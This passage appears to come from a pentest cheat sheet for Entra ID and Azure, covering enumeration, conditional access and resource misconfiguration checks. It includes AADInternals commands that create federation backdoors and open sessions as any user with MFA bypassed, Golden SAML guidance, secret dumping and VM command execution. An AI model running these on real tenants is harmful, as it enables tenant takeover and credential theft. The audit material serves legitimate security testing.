Write-Host "Direct Connect Inbound: $($_.b2bDirectConnectInbound | ConvertTo-Json -Depth 3 -Compress)"
Write-Host "Inbound Trust: $($_.inboundTrust | ConvertTo-Json -Depth 3 -Compress)"
Write-Host "Auto-Redeem: $($_.automaticUserConsentSettings | ConvertTo-Json -Depth 3 -Compress)"
}
Entitlement Management & Access Packages
# List access packages (used for governed external access)
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/identityGovernance/entitlementManagement/accessPackages" | Select-Object -ExpandProperty value | Select-Object displayName, description, isHidden, createdDateTime
# Connected organisations - external orgs that can request access packages
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/identityGovernance/entitlementManagement/connectedOrganizations" | Select-Object -ExpandProperty value | Select-Object displayName, state, identitySources
Guest Account Privilege Check
# Guests with directory role assignments - should be zero in a secure tenant
$GuestUsers = Get-MgUser -Filter "userType eq 'Guest'" -All -Property Id, DisplayName, Mail
foreach ($Guest in $GuestUsers) {
$Roles = Get-MgUserMemberOf -UserId $Guest.Id -All | Where-Object { $_.AdditionalProperties.'@odata.type' -eq '#microsoft.graph.directoryRole' }
if ($Roles) {
Write-Host "GUEST WITH ROLE: $($Guest.DisplayName) ($($Guest.Mail))"
$Roles | ForEach-Object { Write-Host " Role: $($_.AdditionalProperties.displayName)" }
}
}
# Guests who own applications or service principals
Get-MgApplication -All | ForEach-Object { $App = $_; Get-MgApplicationOwner -ApplicationId $App.Id | Where-Object { $_.AdditionalProperties.userType -eq 'Guest' } | ForEach-Object { Write-Host "GUEST OWNS APP: $($_.AdditionalProperties.displayName) -> $($App.DisplayName)" } }
15. Domain & Federation
Microsoft Graph PowerShell
# List all domains with authentication type
Get-MgDomain | Select-Object Id, AuthenticationType, IsDefault, IsVerified
# Find federated domains (Golden SAML attack surface)
Get-MgDomain | Where-Object {$_.AuthenticationType -eq "Federated"} | Select-Object Id, AuthenticationType, IsDefault
# Get federation configuration for a domain
Get-MgDomainFederationConfiguration -DomainId "targetdomain.com"
AADInternals - Federation Backdoor
# Check for existing AADInternals backdoors
Find-AADIntBackdoor
# Create a federation backdoor (requires Global Admin)
ConvertTo-AADIntBackdoor -DomainName "targetdomain.com"
# Create a backdoor on a new domain
New-AADIntBackdoor -DomainName "backdoor.targetdomain.com"
# Open a login session as any user using the backdoor
Open-AADIntOffice365Portal -ImmutableId "<user_immutable_id>" -Issuer "http://any.sts/<issuer_id>" -UseBuiltInCertificate -ByPassMFA $true
# Set domain authentication to federated (federation hijack)
Set-AADIntDomainAuthentication -DomainName "targetdomain.com" -Authentication Federated -FederationBrandName "Corp" -IssuerUri "http://any.sts/<issuer_id>"
Golden SAML: With Global Admin access, you can modify a domain’s federation settings to trust your own Identity Provider. This lets you forge SAML tokens for any user, completely bypassing MFA.
15A. Hybrid Identity & Synchronization Enumeration
Organizations with on-prem AD synced to Entra ID have unique attack paths. Compromising the sync account or federation configuration can lead to full cloud tenant takeover.
Entra Connect / Cloud Sync Discovery
# List all on-premises directory synchronization configurations
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization" | ConvertTo-Json -Depth 5
# Check organization sync status
$Org = Get-MgOrganization
Write-Host "DirSync Enabled: $($Org.OnPremisesSyncEnabled)"
Write-Host "Last Sync: $($Org.OnPremisesLastSyncDateTime)"
Write-Host "Last Password Sync: $($Org.OnPremisesLastPasswordSyncDateTime)"
Sync Account Identification
# The sync account is often: Sync_<SERVERNAME>_<random>@tenant.onmicrosoft.com
# It has the Directory Synchronization Accounts role
$SyncRole = Get-MgDirectoryRole -Filter "displayName eq 'Directory Synchronization Accounts'"
if ($SyncRole) {
Get-MgDirectoryRoleMember -DirectoryRoleId $SyncRole.Id | ForEach-Object {
Write-Host "Sync Account: $($_.AdditionalProperties.displayName) - UPN: $($_.AdditionalProperties.userPrincipalName)"
}
}
# Also check for the Entra Connect cloud sync service principals
Get-MgServicePrincipal -Filter "startswith(displayName,'Azure AD Connect') or startswith(displayName,'Microsoft Azure AD Connect')" | Select-Object DisplayName, AppId, Id
Pass-Through Authentication (PTA) Agents
# PTA agents authenticate cloud sign-ins against on-prem AD - compromising one = credential interception
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/onPremisesPublishingProfiles/authentication/agents" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty value | Select-Object displayName, machineName, status, externalIp
Federation Certificate & Configuration (AADInternals)
# Export current federation settings including signing certificate
Get-AADIntDomainFederationSettings -Domain "targetdomain.com"
# Check token signing certificate expiry - expired certs = potential takeover if re-signed
Get-AADIntDomainFederationSettings -Domain "targetdomain.com" | Select-Object -ExpandProperty SigningCertificate
# Get tenant's immutable ID - needed for Golden SAML forging
Get-AADIntTenantDetails | Select-Object ObjectId
Synced User Identification
# Find users synced from on-prem vs cloud-only (different attack paths)
$SyncedUsers = Get-MgUser -All -Property DisplayName, UserPrincipalName, OnPremisesSyncEnabled, OnPremisesImmutableId, OnPremisesDomainName, OnPremisesSamAccountName | Where-Object { $_.OnPremisesSyncEnabled -eq $true }
Write-Host "Synced users: $($SyncedUsers.Count)"
# Cloud-only admins (cannot be attacked via on-prem, but are break-glass candidates)
$CloudAdmins = Get-MgDirectoryRole -All | ForEach-Object { Get-MgDirectoryRoleMember -DirectoryRoleId $_.Id -All } | Where-Object { $_.AdditionalProperties.onPremisesSyncEnabled -ne $true } | Select-Object -ExpandProperty AdditionalProperties -Unique
16. Conditional Access Policies
Microsoft Graph PowerShell
# List all conditional access policies
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State, Id
# Get detailed CA policy info
Get-MgIdentityConditionalAccessPolicy | ForEach-Object { [PSCustomObject]@{ Name = $_.DisplayName; State = $_.State; IncludeUsers = $_.Conditions.Users.IncludeUsers -join ","; ExcludeUsers = $_.Conditions.Users.ExcludeUsers -join ","; IncludeApps = $_.Conditions.Applications.IncludeApplications -join ","; GrantControls = $_.GrantControls.BuiltInControls -join "," } }
# Find policies with exclusions (potential bypass)
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.Conditions.Users.ExcludeUsers -or $_.Conditions.Users.ExcludeGroups } | Select-Object DisplayName, State
GraphRunner
# Dump all conditional access policies
Invoke-DumpCAPS -Tokens $tokens
Deep CA Policy Analysis
# Named Locations - trusted IPs/countries that bypass MFA
Get-MgIdentityConditionalAccessNamedLocation | ForEach-Object {
$Loc = $_
Write-Host "Location: $($Loc.DisplayName) - Trusted: $($Loc.AdditionalProperties.isTrusted)"
if ($Loc.AdditionalProperties.'@odata.type' -match 'ipNamedLocation') {
$Loc.AdditionalProperties.ipRanges | ForEach-Object { Write-Host " Range: $($_.cidrAddress)" }
}
if ($Loc.AdditionalProperties.'@odata.type' -match 'countryNamedLocation') {
Write-Host " Countries: $($Loc.AdditionalProperties.countriesAndRegions -join ', ')"
}
}
# Policies targeting device platforms - may miss Linux/ChromeOS
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.Conditions.Platforms } | ForEach-Object {
Write-Host "$($_.DisplayName): Include=$($_.Conditions.Platforms.IncludePlatforms -join ',') Exclude=$($_.Conditions.Platforms.ExcludePlatforms -join ',')"
}
# Policies using Authentication Strengths (phishing-resistant MFA)
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.GrantControls.AuthenticationStrength } | ForEach-Object {
Write-Host "$($_.DisplayName) requires AuthStrength: $($_.GrantControls.AuthenticationStrength.Id)"
}
# Session controls analysis - persistent browser sessions, sign-in frequency
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.SessionControls } | ForEach-Object {
Write-Host "$($_.DisplayName):"
if ($_.SessionControls.SignInFrequency) { Write-Host " Sign-In Frequency: $($_.SessionControls.SignInFrequency.Value) $($_.SessionControls.SignInFrequency.Type)" }
if ($_.SessionControls.PersistentBrowser) { Write-Host " Persistent Browser: $($_.SessionControls.PersistentBrowser.Mode)" }
}
# Critical: policies in report-only mode (not enforcing)
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.State -eq 'enabledForReportingButNotEnforced' } | Select-Object DisplayName
# Check for "All Cloud Apps" coverage gaps
$AllAppPolicies = Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.Conditions.Applications.IncludeApplications -contains "All" -and $_.State -eq "enabled" }
if (-not $AllAppPolicies) { Write-Host "WARNING: NO enabled CA policy covers 'All Cloud Apps' - apps without specific policies have NO CA controls" }
# Workload identity CA policies (service principals subject to CA)
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.Conditions.ClientApplications } | Select-Object DisplayName, @{N='WorkloadFilter';E={$_.Conditions.ClientApplications.IncludeServicePrincipals -join ','}}
17. Write Permission Testing
All commands use
-WhatIfor test operations that can be reversed. Remove safety measures only during authorized testing.
Microsoft Graph PowerShell
# Test user modification
Get-MgUser -Top 5 | ForEach-Object { try { Update-MgUser -UserId $_.Id -Department "TestDept" -WhatIf 2>$null; Write-Host "CAN MODIFY USER: $($_.DisplayName)" } catch {} }
# Test group member addition
$TestUserId = (Get-MgUser -Top 1).Id
Get-MgGroup -Top 10 | ForEach-Object { try { New-MgGroupMember -GroupId $_.Id -DirectoryObjectId $TestUserId -WhatIf 2>$null; Write-Host "CAN ADD MEMBERS TO: $($_.DisplayName)" } catch {} }
# Test application modification
Get-MgApplication -Top 10 | ForEach-Object { try { Update-MgApplication -ApplicationId $_.Id -DisplayName $_.DisplayName -WhatIf 2>$null; Write-Host "CAN MODIFY APP: $($_.DisplayName)" } catch {} }
# Test application creation
try { New-MgApplication -DisplayName "PrivEscTest" -WhatIf 2>$null; Write-Host "CAN CREATE APPLICATIONS" } catch { Write-Host "Cannot create applications" }
# Test group creation
try { New-MgGroup -DisplayName "TestGroup" -MailEnabled:$false -SecurityEnabled:$true -MailNickname "TestGroup" -WhatIf 2>$null; Write-Host "CAN CREATE GROUPS" } catch { Write-Host "Cannot create groups" }
# Test guest invitation
try { New-MgInvitation -InvitedUserEmailAddress "test@example.com" -InviteRedirectUrl "https://test.com" -WhatIf 2>$null; Write-Host "CAN INVITE GUESTS" } catch { Write-Host "Cannot invite guests" }
# Test adding credentials to applications
Get-MgApplication -Top 10 | ForEach-Object { try { Add-MgApplicationPassword -ApplicationId $_.Id -PasswordCredential @{DisplayName="test"} -WhatIf 2>$null; Write-Host "CAN ADD CREDS TO: $($_.DisplayName)" } catch {} }
# Test role assignment
$MyUserId = (Get-MgUser -UserId (Get-MgContext).Account).Id
Get-MgDirectoryRole -All | ForEach-Object { try { $Body = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$MyUserId" }; New-MgDirectoryRoleMemberByRef -DirectoryRoleId $_.Id -BodyParameter $Body -WhatIf 2>$null; Write-Host "CAN ASSIGN ROLE: $($_.DisplayName)" } catch {} }
Comprehensive Read Permission Test
Write-Host "=== READ PERMISSION TEST ==="
try { Get-MgUser -Top 1 | Out-Null; Write-Host "[+] Can read users" } catch { Write-Host "[-] Cannot read users" }
try { Get-MgGroup -Top 1 | Out-Null; Write-Host "[+] Can read groups" } catch { Write-Host "[-] Cannot read groups" }
try { Get-MgApplication -Top 1 | Out-Null; Write-Host "[+] Can read applications" } catch { Write-Host "[-] Cannot read applications" }
try { Get-MgServicePrincipal -Top 1 | Out-Null; Write-Host "[+] Can read service principals" } catch { Write-Host "[-] Cannot read service principals" }
try { Get-MgDevice -Top 1 | Out-Null; Write-Host "[+] Can read devices" } catch { Write-Host "[-] Cannot read devices" }
try { Get-MgDomain | Out-Null; Write-Host "[+] Can read domains" } catch { Write-Host "[-] Cannot read domains" }
try { Get-MgDirectoryRole | Out-Null; Write-Host "[+] Can read directory roles" } catch { Write-Host "[-] Cannot read directory roles" }
try { Get-MgIdentityConditionalAccessPolicy | Out-Null; Write-Host "[+] Can read CA policies" } catch { Write-Host "[-] Cannot read CA policies" }
try { Get-MgOauth2PermissionGrant -Top 1 | Out-Null; Write-Host "[+] Can read OAuth grants" } catch { Write-Host "[-] Cannot read OAuth grants" }
18. Azure Resource Enumeration
Az PowerShell
# List accessible subscriptions
Get-AzSubscription | Select-Object Name, Id, State, TenantId
# Set active subscription
Set-AzContext -Subscription "<subscription_id>"
# List your RBAC role assignments
Get-AzRoleAssignment -SignInName (Get-AzContext).Account.Id | Select-Object RoleDefinitionName, Scope
# List ALL role assignments in subscription
Get-AzRoleAssignment | Select-Object DisplayName, RoleDefinitionName, Scope, ObjectType
# List all resources
Get-AzResource | Select-Object Name, ResourceGroupName, ResourceType, Location
# List resource groups
Get-AzResourceGroup | Select-Object ResourceGroupName, Location
# VMs
Get-AzVM | Select-Object Name, ResourceGroupName, Location
Get-AzVM -Name "<vm>" -ResourceGroupName "<rg>" -Status | Select-Object Name, PowerState
# Storage accounts
Get-AzStorageAccount | Select-Object StorageAccountName, ResourceGroupName, Location, Kind
Get-AzStorageAccountKey -ResourceGroupName "<rg>" -Name "<storage_account>"
# Key Vaults
Get-AzKeyVault | Select-Object VaultName, ResourceGroupName, Location
Get-AzKeyVaultSecret -VaultName "<vault>" | Select-Object Name, Enabled, Created
Get-AzKeyVaultSecret -VaultName "<vault>" -Name "<secret>" -AsPlainText
# Automation Accounts (persistence)
Get-AzAutomationAccount | Select-Object AutomationAccountName, ResourceGroupName
Get-AzAutomationRunbook -AutomationAccountName "<acct>" -ResourceGroupName "<rg>"
# Function Apps
Get-AzFunctionApp | Select-Object Name, ResourceGroup, Location
# Web Apps
Get-AzWebApp | Select-Object Name, ResourceGroup, DefaultHostName
# SQL Databases
Get-AzSqlServer | Select-Object ServerName, ResourceGroupName
Get-AzSqlDatabase -ServerName "<server>" -ResourceGroupName "<rg>"
# Container Registries
Get-AzContainerRegistry | Select-Object Name, ResourceGroupName, AdminUserEnabled
# VM Run Command (code execution)
Invoke-AzVMRunCommand -ResourceGroupName "<rg>" -VMName "<vm>" -CommandId 'RunPowerShellScript' -ScriptString 'whoami'
# Deployment history (may contain secrets)
Get-AzResourceGroupDeployment -ResourceGroupName "<rg>" | Select-Object DeploymentName, Timestamp
Azure CLI
# List subscriptions
az account list --output table
# List all resources
az resource list --output table
# List resource groups
az group list --output table
# VMs
az vm list --output table
az vm run-command invoke -g <rg> -n <vm> --command-id RunShellScript --scripts "whoami"
# Storage
az storage account list --output table
az storage account keys list -g <rg> -n <storage_account>
az storage container list --account-name <storage_account> --account-key <key>
az storage blob list --container-name <container> --account-name <storage_account> --account-key <key>
# Key Vaults
az keyvault list --output table
az keyvault secret list --vault-name <vault>
az keyvault secret show --vault-name <vault> --name <secret>
# Web Apps
az webapp list --output table
az functionapp list --output table
# SQL
az sql server list --output table
# Role assignments
az role assignment list --all --output table
az role assignment list --assignee <user_or_sp> --all --output table
18A. Azure Resource Security Misconfigurations
Beyond Entra ID, Azure resources themselves often have misconfigurations that translate directly into pentest findings.
Control-Plane vs Data-Plane: Having management access does not mean having data access.
Contributoron a Key Vault can’t read secrets (needsKey Vault Secrets User).Contributoron a Storage Account can’t read blobs (needsStorage Blob Data Reader).Contributoron a SQL Server can’t query databases (needsSQL DB Contributoror a SQL login). Always check both planes.
Management Group & Subscription Hierarchy
# Map the management group tree - permissions cascade down
az account management-group list --output table
az account management-group show --name <mgmt-group-id> --expand --recurse --output json
# List all subscriptions you can see
az account list --all --output table
Custom RBAC Roles with Wildcards
# Custom roles with wildcard actions = overprivileged
az role definition list --custom-role-only true --output json | ConvertFrom-Json | ForEach-Object {
$WildcardActions = $_.permissions.actions | Where-Object { $_ -match '\*' }
$WildcardData = $_.permissions.dataActions | Where-Object { $_ -match '\*' }
if ($WildcardActions -or $WildcardData) {
Write-Host "WILDCARD ROLE: $($_.roleName)"
Write-Host " Actions: $($WildcardActions -join ', ')"
Write-Host " DataActions: $($WildcardData -join ', ')"
Write-Host " Assignable Scopes: $($_.assignableScopes -join ', ')"
}
}
Storage Account Comprehensive Security Check
# Comprehensive storage account security posture (PowerShell)
Get-AzStorageAccount | Select-Object `
ResourceGroupName, StorageAccountName,
AllowBlobPublicAccess, AllowSharedKeyAccess,
MinimumTlsVersion, EnableHttpsTrafficOnly,
PublicNetworkAccess,
@{N='DefaultNetworkAction';E={$_.NetworkRuleSet.DefaultAction}},
@{N='Bypass';E={$_.NetworkRuleSet.Bypass}}
# Enumerate containers with anonymous access (confirms actual exposure, not just capability)
foreach ($account in Get-AzStorageAccount) {
$context = $account.Context
Get-AzStorageContainer -Context $context -ErrorAction SilentlyContinue |
Where-Object PublicAccess -ne "Off" |
Select-Object `
@{N='StorageAccount';E={$account.StorageAccountName}},
Name, PublicAccess
}
# Azure CLI equivalent
az storage account list --query "[].{Name:name, RG:resourceGroup, PublicAccess:allowBlobPublicAccess, SharedKey:allowSharedKeyAccess, HTTPSOnly:enableHttpsTrafficOnly, MinTLS:minimumTlsVersion}" --output table
# Check for containers with anonymous access
StorageAccounts=$(az storage account list --query "[?allowBlobPublicAccess==true].name" -o tsv)
for SA in $StorageAccounts; do
Key=$(az storage account keys list --account-name "$SA" --query "[0].value" -o tsv)
az storage container list --account-name "$SA" --account-key "$Key" --query "[?properties.publicAccess!='off'].{Name:name, Access:properties.publicAccess}" --output table 2>/dev/null
done
What to look for:
AllowBlobPublicAccess = truewith containers set toBloborContaineraccess — unauthenticated read/list access confirmed.AllowSharedKeyAccessnot explicitly set to$false— shared key authentication is likely still permitted (see Section 24.7).MinimumTlsVersionbelowTLS1_2.EnableHttpsTrafficOnly = false— allows unencrypted HTTP access.DefaultNetworkAction = Allow— storage is accessible from all networks.Bypassincludes broad service categories — “trusted services” bypass may be wider than expected (see Storage Firewall Bypass below).
SQL Server Firewall Misconfigurations
# PowerShell: Enumerate SQL server firewall rules
Get-AzSqlServer | ForEach-Object {
$server = $_
Get-AzSqlServerFirewallRule `
-ResourceGroupName $server.ResourceGroupName `
-ServerName $server.ServerName |
Select-Object `
@{N='Server';E={$server.ServerName}},
FirewallRuleName, StartIpAddress, EndIpAddress
}
# Check server-level settings (public access, TLS, AD admin)
Get-AzSqlServer |
Select-Object ServerName, PublicNetworkAccess,
MinimalTlsVersion,
Administrators
# Azure CLI: SQL servers with 0.0.0.0-255.255.255.255 = open to the internet
az sql server list --query "[].{Name:name, RG:resourceGroup}" -o tsv | while read NAME RG; do
az sql server firewall-rule list --server "$NAME" --resource-group "$RG" --query "[?startIpAddress=='0.0.0.0' && endIpAddress=='255.255.255.255']" -o table
done
# Check "Allow Azure services" rule
az sql server list -o tsv --query "[].{N:name,R:resourceGroup}" | while read N R; do
az sql server firewall-rule list --server "$N" --resource-group "$R" --query "[?name=='AllowAllWindowsAzureIps']" -o table
done
What to flag:
0.0.0.0rules permitting Azure-origin traffic (“Allow Azure services and resources” is broader than many administrators expect).0.0.0.0to255.255.255.255— open to the entire internet.- Unnecessarily large IP ranges or stale contractor/office IP ranges.
PublicNetworkAccessenabled without compensating private endpoint usage.
Container Registry Security
# PowerShell: ACR admin accounts and anonymous pull
Get-AzContainerRegistry | Select-Object `
RegistryName, ResourceGroupName, SkuName,
AdminUserEnabled, AnonymousEnabled,
PublicNetworkAccess,
@{N='NetworkDefaultAction';E={$_.NetworkRuleSet.DefaultAction}}
# Azure CLI: ACR with admin user enabled = shared credential anti-pattern
az acr list --query "[?adminUserEnabled==true].{Name:name, RG:resourceGroup, SKU:sku.name}" -o table
# ACR anonymous pull enabled
az acr list --query "[].{Name:name, RG:resourceGroup, AnonymousPull:anonymousPullEnabled}" -o table
What to flag:
- Admin account enabled — shared credentials that cannot be scoped, rotated easily, or tied to a principal; use RBAC + managed identities instead.
- Anonymous pull enabled — any unauthenticated user can pull images; acceptable for public OSS registries, a finding almost everywhere else.
PublicNetworkAccessenabled without private endpoints.
Key Vault Comprehensive Security Check
# PowerShell: Full Key Vault security posture
Get-AzKeyVault | ForEach-Object {
$vault = Get-AzKeyVault -VaultName $_.VaultName
[PSCustomObject]@{
VaultName = $vault.VaultName
ResourceGroup = $vault.ResourceGroupName
EnableRbac = $vault.EnableRbacAuthorization
SoftDeleteEnabled = $vault.EnableSoftDelete
PurgeProtection = $vault.EnablePurgeProtection
NetworkDefaultAction= $vault.NetworkAcls.DefaultAction
PublicNetworkAccess = $vault.PublicNetworkAccess
}
}
# Azure CLI: Key Vaults accessible from all networks
az keyvault list --query "[].{Name:name, RG:resourceGroup}" -o tsv | while read NAME RG; do
RULES=$(az keyvault show --name "$NAME" --query "properties.networkAcls.defaultAction" -o tsv 2>/dev/null)
if [ "$RULES" = "Allow" ]; then
echo "Key Vault '$NAME' allows access from all networks"
fi
done
# Key Vaults with RBAC vs Access Policies
az keyvault list --query "[].{Name:name, RBAC:properties.enableRbacAuthorization}" -o table
# Purge protection & soft delete status
az keyvault list --query "[].{Name:name, SoftDelete:properties.enableSoftDelete, PurgeProtection:properties.enablePurgeProtection}" -o table
What to flag:
EnableRbacAuthorization = False— vault uses legacy access policies; RBAC is more granular and auditable.EnablePurgeProtection = False— a compromised admin can permanently delete secrets with no recovery.EnableSoftDelete = False— deleted keys/secrets are gone immediately; soft-delete is now default but older vaults may predate the change.NetworkDefaultAction = Allow— vault is reachable from the public internet without network restrictions.
Diagnostic Settings & Logging Gaps
# PowerShell: Check subscription-level diagnostic settings
$subId = (Get-AzContext).Subscription.Id
Get-AzSubscriptionDiagnosticSetting -SubscriptionId $subId
# High-value resources without diagnostic settings
$resourceTypes = @(
'Microsoft.KeyVault/vaults',
'Microsoft.Sql/servers',
'Microsoft.Storage/storageAccounts',
'Microsoft.ContainerRegistry/registries'
)
Get-AzResource | Where-Object { $_.ResourceType -in $resourceTypes } | ForEach-Object {
$diag = Get-AzDiagnosticSetting -ResourceId $_.ResourceId -ErrorAction SilentlyContinue
if (-not $diag) {
[PSCustomObject]@{
ResourceName = $_.Name
ResourceType = $_.ResourceType
DiagSettings = "NONE"
}
}
}
# Azure CLI: Check if subscriptions have diagnostic settings (audit logging)
SUB_ID=$(az account show --query id -o tsv)
az monitor diagnostic-settings subscription list --subscription "$SUB_ID" -o table
# Resources without diagnostic settings = no audit trail
az resource list --query "[?type=='Microsoft.KeyVault/vaults' || type=='Microsoft.Sql/servers'].{Name:name, Type:type, RG:resourceGroup}" -o tsv | while read NAME TYPE RG; do
ID=$(az resource show --name "$NAME" --resource-type "$TYPE" --resource-group "$RG" --query id -o tsv 2>/dev/null)
DIAG=$(az monitor diagnostic-settings list --resource "$ID" --query "length(value)" -o tsv 2>/dev/null)
if [ "$DIAG" = "0" ]; then
echo "No diagnostic settings: $NAME ($TYPE)"
fi
done
What to flag:
- No subscription-level diagnostic settings — Activity Log events are not being exported.
- Key Vaults, SQL servers, storage accounts, or ACRs without diagnostic settings — no audit trail for secret access, queries, or image pulls.
Azure Policy & Resource Locks
# Azure Policy assignments - what's enforced vs audit-only
az policy assignment list --query "[].{Name:displayName, Effect:parameters.effect.value, Scope:scope}" --output table
# Resource locks (prevent accidental deletion of critical resources)
az lock list --query "[].{Name:name, Level:level, Resource:id}" --output table
Deployment History Secrets
# ARM deployment history can leak passwords, keys, connection strings
az deployment group list --resource-group <RG> --query "[].{Name:name, Timestamp:properties.timestamp}" -o table
# Show deployment parameters (may include cleartext secrets)
az deployment group show --resource-group <RG> --name <deployment-name> --query "properties.parameters" -o json
Storage Account Shared Key Access
# PowerShell: Identify storage accounts that still allow shared key authentication
Get-AzStorageAccount | Where-Object { $_.AllowSharedKeyAccess -ne $false } |
Select-Object StorageAccountName, ResourceGroupName, AllowSharedKeyAccess
# Azure CLI
az storage account list --query "[?allowSharedKeyAccess!=\`false\`].{Name:name, RG:resourceGroup, SharedKey:allowSharedKeyAccess}" -o table
What to flag:
AllowSharedKeyAccessnot explicitly set to$false— the account accepts shared key auth alongside Entra ID. Shared keys grant full data-plane access and cannot be scoped or conditioned with MFA/CA.- Shared keys are especially dangerous on storage accounts holding sensitive data, logs, or backups.
Storage Account Network Firewall Bypass
# PowerShell: Check which trusted-service bypass flags are set
Get-AzStorageAccount | Select-Object `
StorageAccountName,
@{N='DefaultAction';E={$_.NetworkRuleSet.DefaultAction}},
@{N='Bypass';E={$_.NetworkRuleSet.Bypass}},
@{N='VNetRules';E={($_.NetworkRuleSet.VirtualNetworkRules | Measure-Object).Count}},
@{N='IpRules';E={($_.NetworkRuleSet.IpRules | Measure-Object).Count}}
# Azure CLI: Storage accounts with Deny but broad bypass
az storage account list --query "[].{Name:name, Default:networkRuleSet.defaultAction, Bypass:networkRuleSet.bypass}" -o table
What to flag:
DefaultAction = Allow— firewall is effectively off.BypassincludesAzureServices— any Azure-hosted service (including attacker-controlled VMs in other tenants) can reach the account, which undermines the firewall when combined with a leaked key.Denywith zero VNet/IP rules — firewall is on but no legitimate access is whitelisted, suggesting misconfiguration.
App Service Access Restrictions
# PowerShell: List web apps with no IP restrictions (open to internet)
Get-AzWebApp | ForEach-Object {
$config = Get-AzWebAppAccessRestrictionConfig -ResourceGroupName $_.ResourceGroup -Name $_.Name
$mainRules = $config.MainSiteAccessRestrictions | Where-Object { $_.RuleName -ne 'Allow all' }
$scmRules = $config.ScmSiteAccessRestrictions | Where-Object { $_.RuleName -ne 'Allow all' }
[PSCustomObject]@{
AppName = $_.Name
RG = $_.ResourceGroup
MainRuleCount= ($mainRules | Measure-Object).Count
ScmRuleCount = ($scmRules | Measure-Object).Count
ScmUsesMain = $config.ScmSiteUseMainSiteRestrictionConfig
}
}
# Azure CLI: Check for web apps with unrestricted access
az webapp list --query "[].{Name:name, RG:resourceGroup}" -o tsv | while read NAME RG; do
RULES=$(az webapp config access-restriction show --name "$NAME" --resource-group "$RG" --query "length(ipSecurityRestrictions)" -o tsv 2>/dev/null)
SCM=$(az webapp config access-restriction show --name "$NAME" --resource-group "$RG" --query "scmIpSecurityRestrictionsUseMain" -o tsv 2>/dev/null)
echo "App: $NAME | MainRules: $RULES | ScmUsesMain: $SCM"
done
What to flag:
- No access restrictions — the app is reachable from the entire internet.
- SCM/Kudu endpoint not using main site restrictions — the deployment endpoint may be more exposed than the production site.
App Service FTP & TLS Settings
# PowerShell: Check FTP state and minimum TLS version
Get-AzWebApp | ForEach-Object {
$config = $_ | Get-AzWebApp
[PSCustomObject]@{
AppName = $_.Name
RG = $_.ResourceGroup
FtpState = $config.SiteConfig.FtpsState
MinTLS = $config.SiteConfig.MinTlsVersion
HttpsOnly = $_.HttpsOnly
}
}
# Azure CLI
az webapp list --query "[].{Name:name, RG:resourceGroup}" -o tsv | while read NAME RG; do
az webapp config show --name "$NAME" --resource-group "$RG" --query "{App:'$NAME', FtpsState:ftpsState, MinTls:minTlsVersion}" -o table 2>/dev/null
done
What to flag:
FtpsState = AllAllowed— plain FTP (cleartext credentials) is permitted.MinTlsVersion<1.2— older TLS versions with known weaknesses.HttpsOnly = False— app accepts unencrypted HTTP.
App Service Basic Publishing Credentials
# PowerShell: Check if basic (FTP/SCM) publishing credentials are enabled
Get-AzWebApp | ForEach-Object {
$policy = Get-AzResource -ResourceId "$($_.Id)/basicPublishingCredentialsPolicies/ftp" -ApiVersion 2022-03-01 -ErrorAction SilentlyContinue
$scm = Get-AzResource -ResourceId "$($_.Id)/basicPublishingCredentialsPolicies/scm" -ApiVersion 2022-03-01 -ErrorAction SilentlyContinue
[PSCustomObject]@{
AppName = $_.Name
FtpBasic = $policy.Properties.allow
ScmBasic = $scm.Properties.allow
}
}
# Azure CLI
az webapp list --query "[].{Name:name, RG:resourceGroup}" -o tsv | while read NAME RG; do
FTP=$(az resource show --ids "/subscriptions/$(az account show -o tsv --query id)/resourceGroups/$RG/providers/Microsoft.Web/sites/$NAME/basicPublishingCredentialsPolicies/ftp" --api-version 2022-03-01 --query "properties.allow" -o tsv 2>/dev/null)
SCM=$(az resource show --ids "/subscriptions/$(az account show -o tsv --query id)/resourceGroups/$RG/providers/Microsoft.Web/sites/$NAME/basicPublishingCredentialsPolicies/scm" --api-version 2022-03-01 --query "properties.allow" -o tsv 2>/dev/null)
echo "App: $NAME | FtpBasic: $FTP | ScmBasic: $SCM"
done
What to flag:
allow = Truefor either FTP or SCM — long-lived, non-rotatable credentials that bypass Entra ID authentication; disabling these forces deployment through Entra-backed methods (managed identity, GitHub Actions OIDC).
ACR Anonymous Pull
# PowerShell: Container registries with anonymous pull enabled
Get-AzContainerRegistry | Where-Object { $_.AnonymousEnabled -eq $true } |
Select-Object RegistryName, ResourceGroupName, SkuName, AnonymousEnabled
# Azure CLI
az acr list --query "[?anonymousPullEnabled==true].{Name:name, RG:resourceGroup, SKU:sku.name}" -o table
What to flag:
- Anonymous pull = anyone on the internet can pull images without authentication. This is appropriate for public OSS image registries but a finding in nearly every enterprise scenario.
NSG Inbound Rules — Management Port Exposure
# PowerShell: Find NSGs allowing RDP/SSH from the internet
Get-AzNetworkSecurityGroup | ForEach-Object {
$nsg = $_
$_.SecurityRules | Where-Object {
$_.Direction -eq 'Inbound' -and
$_.Access -eq 'Allow' -and
($_.DestinationPortRange -in @('22','3389','*') -or
$_.DestinationPortRange -match '22|3389') -and
($_.SourceAddressPrefix -in @('*','Internet','0.0.0.0/0'))
} | Select-Object `
@{N='NSG';E={$nsg.Name}},
@{N='RG';E={$nsg.ResourceGroupName}},
Name, DestinationPortRange, SourceAddressPrefix, Priority
}
# Azure CLI: NSGs with RDP (3389) or SSH (22) open to the internet
az network nsg list --query "[].{NSG:name, RG:resourceGroup}" -o tsv | while read NSG RG; do
az network nsg rule list --nsg-name "$NSG" --resource-group "$RG" \
--query "[?direction=='Inbound' && access=='Allow' && (destinationPortRange=='22' || destinationPortRange=='3389' || destinationPortRange=='*') && (sourceAddressPrefix=='*' || sourceAddressPrefix=='Internet')]" \
-o table 2>/dev/null
done
What to flag:
- RDP (3389) or SSH (22) open to
